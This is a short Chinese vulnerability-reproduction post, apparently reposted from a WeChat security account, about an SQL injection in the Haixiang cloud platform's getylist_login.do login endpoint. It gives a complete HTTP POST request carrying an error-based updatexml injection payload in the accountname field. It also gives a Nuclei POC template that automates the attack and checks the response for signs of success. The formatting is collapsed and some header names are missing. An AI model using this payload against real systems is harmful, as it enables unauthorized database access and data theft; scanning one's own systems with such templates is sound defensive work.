免责声明
此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任，与本文作者及发布平台无关。如有内容争议或侵权，请及时联系我们。谢谢！
漏洞概述
海翔云平台的 getylist_login.do 存在 SQL 注入漏洞，攻击者可以通过在请求中注入恶意的 SQL 语句，导致数据库泄露、数据篡改或其他安全风险。建议立即修复此漏洞以防止潜在的攻击。
漏洞复现
POST /getylist_login.do HTTP/1.1Host:Accept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 75accountname=test' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));--
NUCLEI POC
id: haixiang-cloud-getylist-login-sql-injectioninfo:name: 海翔云平台 getylist_login.do SQL 注入漏洞author: rainseverity: highdescription: |getylist_login.do 存在 SQL 注入漏洞，攻击者可以通过在请求中注入恶意的 SQL 语句，导致数据库泄露、数据篡改或其他安全风险。建议立即修复此漏洞以防止潜在的攻击。metadata:: fid="DFKq/loXsF8BN4n1UBeB1Q=="requests:raw:|POST /getylist_login.do HTTP/1.1Host: {{Hostname}}: gzip: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15: application/x-www-form-urlencoded; charset=UTF-8: 75accountname=test' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));--: andmatchers:type: dsldsl:'status_code == 500 && contains(body, "root@")'
原文始发于微信公众号（知黑守白）：「漏洞复现」海翔云平台 getylist_login.do SQL 注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论